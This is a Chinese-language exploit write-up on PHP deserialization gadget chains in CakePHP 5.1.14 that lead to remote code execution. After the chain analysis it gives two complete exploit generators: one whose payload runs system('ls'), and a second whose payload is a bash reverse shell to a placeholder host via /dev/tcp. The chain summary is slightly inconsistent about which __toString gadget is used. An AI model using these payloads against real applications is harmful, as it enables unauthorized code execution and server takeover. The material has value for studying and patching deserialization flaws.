CakePHP 5.1.14最新版本 挖掘两条gadget链子
以往的旧版本pop链gadget已经被官方修复,本文研究挖掘一条CakePHP 5.1.14最新版本的gadget链子,详细做了调试分析,并有两个不同的gadget链
CakePHP 5.1.14最新版本 反序列化POP链挖掘
以往的旧版本pop链gadget已经被官方修复,本文研究挖掘一条CakePHP 5.1.14最新版本的gadget链子,详细做了调试分析,并有两个不同的gadget链
Cakephp 5.1.14新入口和RCE终点的探索
对于之前3.x 4.x中的入口点vendor\symfony\process\Process.php,新的版本加了个__wakeup方法限制 直接抛出异常了
寻找destruct入口
通过全局搜索我们发现类Internal/RejectedPromise.php中有destruct入口
源码如下
public function __destruct()
{
if ($this->handled) {
return;
}
$handler = set_rejection_handler(null);
if ($handler === null) {
$message = 'Unhandled promise rejection with ' . $this->reason;
\error_log($message);
return;
}
try {
$handler($this->reason);
} catch (\Throwable $e) {
\preg_match('/^([^:\s]++)(.*+)$/sm', (string) $e, $match);
\assert(isset($match[1], $match[2]));
$message = 'Fatal error: Uncaught ' . $match[1] . ' from unhandled promise rejection handler' . $match[2];
\error_log($message);
exit(255);
}
}发现有触发toString魔术方法的地方,我们跟进set_rejection_handler,由于源码中传入的为null返回也是null,并且$this->reason可控那么我们便可以利用这个入口点并且
private $handled默认为false;不需要管
寻找toString方法
全局找 __tostring 魔术方法,发现两处可以触发 __call() 魔术方法, ,且变量 $constExpr 可控\Ast\Type\ConstTypeNode 类源码:
public function __toString(): string
{
return $this->constExpr->__toString();
}寻找__call方法
全局搜索__call方法 挨个看 然后就找到位于:vendor\cakephp\cakephp\src\ORM\Table.php_behaviors属性可控,我们只要让它拥有method方法就可以调用call方法
寻找call方法调用
全局搜索call函数 找到vendor\cakephp\cakephp\src\ORM\BehaviorRegistry.php
审计代码可以发现可以动态调用类的方法
public function call(string $method, array $args = []): mixed
{
$method = strtolower($method);
if ($this->hasMethod($method) && $this->has($this->_methodMap[$method][0])) {
[$behavior, $callMethod] = $this->_methodMap[$method];
return $this->_loaded[$behavior]->{$callMethod}(...$args);
}
throw new BadMethodCallException(
sprintf('Cannot call `%s`, it does not belong to any attached behavior.', $method),
);
}if ($this->hasMethod($method) && $this->has($this->_methodMap[$method][0])) {$this->hasMethod($method)检查当前类或其扩展功能是否定义了名为$method的方法。$this->has($this->_methodMap[$method][0])检查$this->_methodMap中与$method关联的行为(behavior)是否存在。$this->_methodMap是一个数组,存储了方法名到行为和具体调用方法的映射关系。[$behavior, $callMethod] = $this->_methodMap[$method];- 将
$this->_methodMap[$method]的值(通常是一个数组)解构为$behavior和$callMethod。 $behavior表示行为的标识名称。$callMethod是行为中对应的方法名return $this->_loaded[$behavior]->{$callMethod}(...$args);- 从
$this->_loaded数组中找到与$behavior对应的已加载对象。 - 动态调用
$callMethod方法,并将$args解包作为参数传入方法。 {$callMethod}是一种动态方法名调用的方式,PHP 支持通过变量来调用对象的方法。
第一个条件仍然是可以控制_methodMap来控制返回值
第二个条件是父类ObjectRegistry的has方法 _loaded属性同样也是可控的
寻找RCE终点
通过上面的链子,可以发现call调用的动态函数是无参数的,也就是我们要找一个类的方法不需要参数或者参数默认完成RCE
注意:
- 无参函数可以有参调用
- 当php version ≥ 7.1.0,有参函数不能无参调用,会直接报Fatal error
- 当php version ≤ 7.0.33,有参函数可以无参调用,但会有个警告(Warning: Missing argument)
旧版链子中vendor\cakephp\cakephp\src\Database\Statement\CallbackStatement.php已经被移除了我们seay寻找到src\Framework\MockObject\Generator\MockClass类中的 generate 方法
mockName需要放一个存在的类名即可进入if,属性classCode可控里面可以用php代码RCE
public function generate(): string
{
if (!class_exists($this->mockName, false)) {
eval($this->classCode);
call_user_func(
[
$this->mockName,
'__phpunit_initConfigurableMethods',
],
...$this->configurableMethods,
);
}pop链:
RejectedPromise::__destruct()->Response::__toString()->Table::__call()->BehaviorRegistry::call()->MockClass::->generate()构造exp
<?php
#RCE
namespace PHPUnit\Framework\MockObject\Generator;
interface MockType{}
final class MockClass implements MockType{
private $classCode;
private $mockName;
public function __construct() {
$this->classCode = "system('ls');";
$this->mockName = "MockClass";
}
}
# call
namespace Cake\Core;
use Countable;
use IteratorAggregate;
use PHPUnit\Framework\MockObject\Generator\MockClass;
abstract class ObjectRegistry implements Countable, IteratorAggregate
{
protected $_loaded = [];
public function __construct()
{
$this->_loaded['MockClass']=new MockClass();
}
}
namespace Cake\Event;
interface EventDispatcherInterface{}
# __call
namespace Cake\Datasource;
interface RepositoryInterface{}
namespace Cake\Event;
interface EventListenerInterface{}
namespace Cake\Validation;
interface ValidatorAwareInterface{}
namespace Cake\ORM;
use Cake\Datasource\RepositoryInterface;
use Cake\Event\EventListenerInterface;
use Cake\Validation\ValidatorAwareInterface;
use Cake\Core\ObjectRegistry;
use Cake\Event\EventDispatcherInterface;
use Traversable;
class Table implements RepositoryInterface, EventListenerInterface, EventDispatcherInterface, ValidatorAwareInterface
{
protected $_behaviors;
public function __construct() {
$this->_behaviors= new BehaviorRegistry();
}
}
class BehaviorRegistry extends ObjectRegistry implements EventDispatcherInterface{
public function count(): int {
}
public function getIterator(): Traversable
{
}
protected $_methodMap = ['__tostring'=>['MockClass',"generate"]];
}
#tostring
namespace PHPStan\PhpDocParser\Ast;
interface Node{}
namespace PHPStan\PhpDocParser\Ast\Type;
use PHPStan\PhpDocParser\Ast\Node;
interface TypeNode extends Node{}
namespace PHPStan\PhpDocParser\Ast\Type;
use Cake\ORM\Table;
use PHPStan\PhpDocParser\Ast\NodeAttributes;
class ConstTypeNode implements TypeNode
{
public $constExpr;
public function __construct()
{
$this->constExpr =new Table();
}
}
#destruct
namespace React\Promise;
interface PromiseInterface{}
namespace React\Promise\Internal;
use PHPStan\PhpDocParser\Ast\Type\ConstTypeNode;
use React\Promise\PromiseInterface;
final class RejectedPromise implements PromiseInterface
{
private $reason;
public function __construct(){
$this->reason= new ConstTypeNode();
}
}
echo base64_encode(serialize(new RejectedPromise()));注意:
- 在 PHP 中,当你使用
implements时,PHP 会尝试找到并加载MockType接口。 - 如果
MockType接口未定义,或者没有在当前命名空间中找到,PHP 会报错。
成功rce
第二种tostring点
通过寻找发现src/cakephp-5-1-4/vendor/cakephp/cakephp/src/Http/Response.php也可以触发__call方法
以这个gadget来写pop链的话poc为
namespace React\Promise\Internal{
ini_set('display_errors',1);
use Cake\Http\Response;
class RejectedPromise{
private $reason;
public function __construct(){
$this->reason = new Response();
}
}
echo urlencode(base64_encode(serialize(new RejectedPromise())));
}
namespace Cake\Http{
use Cake\ORM\Table;
class Response{
private $stream;
public function __construct(){
$this->stream = new Table();
}
}
}
namespace Cake\ORM
{
use PHPUnit\Framework\MockObject\Generator\MockClass;
class Table
{
protected $_behaviors;
public function __construct()
{
$this->_behaviors = new BehaviorRegistry();
}
}
class BehaviorRegistry
{
protected $_methodMap;
protected $_loaded;
public function __construct()
{
$this->_methodMap = ['rewind' => ['mb', 'generate']];
$this->_loaded = ['mb' => new MockClass()];
}
}
}
namespace PHPUnit\Framework\MockObject\Generator{
class MockClass{
private $classCode;
private $mockName;
public function __construct(){
$this->classCode = "system(\"bash -c 'bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1'\");";
$this->mockName = "test";
}
}
}